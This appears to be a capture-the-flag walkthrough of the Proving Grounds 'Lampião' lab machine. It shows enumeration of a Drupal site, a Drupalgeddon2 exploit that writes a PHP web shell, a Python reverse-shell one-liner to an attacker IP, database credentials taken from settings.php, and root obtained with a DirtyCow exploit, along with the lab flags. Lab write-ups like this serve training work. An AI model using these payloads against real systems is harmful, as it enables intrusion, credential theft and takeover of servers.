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Proving Grounds: Lampião Walkthrough

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Machine Stats

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan.

nmap -A -T4 -p- 192.168.119.48 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-02 21:43 EDT
Nmap scan report for 192.168.119.48
Host is up (0.033s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
| fingerprint-strings: 
|   NULL: 
|     _____ _ _ 
|     |_|/ ___ ___ __ _ ___ _ _ 
|     \x20| __/ (_| __ \x20|_| |_ 
|     ___/ __| |___/ ___|__,_|___/__, ( ) 
|     |___/ 
|     ______ _ _ _ 
|     ___(_) | | | |
|     \x20/ _` | / _ / _` | | | |/ _` | |
|_    __,_|__,_|_| |_|
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
|_http-server-header: Apache/2.4.7 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

Here’s the site at port 80:

Here’s the site on port 1898
Because the site at port 1898 is looking more promising, I’m going to crawl it with feroxbuster.
└─$ feroxbuster --url http://192.168.119.48:1898                                                                                                                                                                                                                                                                         130 ⨯

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher ????                 ver: 2.7.0
───────────────────────────┬──────────────────────
 ????  Target Url            │ http://192.168.119.48:1898
 ????  Threads               │ 50
 ????  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 ????  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 ????  Timeout (secs)        │ 7
 ????  User-Agent            │ feroxbuster/2.7.0
 ????  Config File           │ /etc/feroxbuster/ferox-config.toml
 ????  HTTP methods          │ [GET]
 ????  Recursion Depth       │ 4
 ????  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 ????  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      192l      661w        0c http://192.168.119.48:1898/
301      GET        9l       28w      323c http://192.168.119.48:1898/themes => http://192.168.119.48:1898/themes/
301      GET        9l       28w      324c http://192.168.119.48:1898/scripts => http://192.168.119.48:1898/scripts/
301      GET        9l       28w      325c http://192.168.119.48:1898/includes => http://192.168.119.48:1898/includes/
301      GET        9l       28w      322c http://192.168.119.48:1898/sites => http://192.168.119.48:1898/sites/
301      GET        9l       28w      324c http://192.168.119.48:1898/modules => http://192.168.119.48:1898/modules/
301      GET        9l       28w      325c http://192.168.119.48:1898/profiles => http://192.168.119.48:1898/profiles/
301      GET        9l       28w      321c http://192.168.119.48:1898/misc => http://192.168.119.48:1898/misc/
403      GET       10l       30w      296c http://192.168.119.48:1898/server-status
[####################] - 24s   270000/270000  0s      found:9       errors:0

As part of my normal enumeration steps for web servers, I check the robots.txt file.

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

That’s a lot of entries! Well, this is definitely looking like a Drupal site. I also noted that /modules was open and browsable. My next step was to use droopescan, a simple Drupal enumeration tool, to see what information I can pull out from the site- in this case I was specifically interested in modules and fingerprinting the Drupal version.

droopescan scan drupal -u http://192.168.119.48:1898 
[+] Plugins found:                                                              
    profile http://192.168.119.48:1898/modules/profile/
    php http://192.168.119.48:1898/modules/php/
    image http://192.168.119.48:1898/modules/image/

[+] Themes found:
    seven http://192.168.119.48:1898/themes/seven/
    garland http://192.168.119.48:1898/themes/garland/

[+] Possible version(s):
    7.54

[+] Possible interesting urls found:
    Default changelog file - http://192.168.119.48:1898/CHANGELOG.txt

[+] Scan finished (0:00:46.410787 elapsed)

User Account

After some more enumeration, I decided that one of the vulnerabilities I wanted to focus on was Drupalgeddon2 Remote Code Execution: CVE-2018-7600. After trying and struggling a bit to get the ruby working, I found a super optimized and well-packaged exploit kit on Github.

ruby 44449.rb http://192.168.119.48:1898 
ruby: warning: shebang line ending with \r may cause problems
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.119.48:1898/
--------------------------------------------------------------------------------
[+] Found  : http://192.168.119.48:1898/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo TALYIJDA
[+] Result : TALYIJDA
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://192.168.119.48:1898/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://192.168.119.48:1898/shell.php' -d 'c=hostname'
lampiao>>

At the fake shell command prompt, I ran a quick one liner to call home.

lampiao>> export RHOST="192.168.49.119";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

And we are in!

nc -nvlp 1337
listening on [any] 1337 ...
connect to [192.168.49.119] from (UNKNOWN) [192.168.119.48] 33360
$ whoami
www-data

And now we have local.txt

$ cat /home/tiago/local.txt
cat /home/tiago/local.txt
11ef3aa34c5402f8660a44e306dba378

Privilege Escalation & Root Flag

As one of my post exploit steps, I found the site’s database credentials and stored them away for later possible use.

cat /var/www/html/sites/default/settings.php

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'Virgulino',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

After bringing linpeas over, the following output stood out to me- I have had success with dirtycow in the past, so I’ll try using that again.

OS: Linux version 4.4.0-31-generic (buildd@lgw01-01) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016

Sudo version 1.8.9p5                                                                                                                                                                                                                                            

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

After bringing the exploit file over to the target server…

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak

We’ve got proof.txt

root@lampiao:~#
root@lampiao:~# cat proof.txt 
7ac0efe8a932774af8d5336ca8824059
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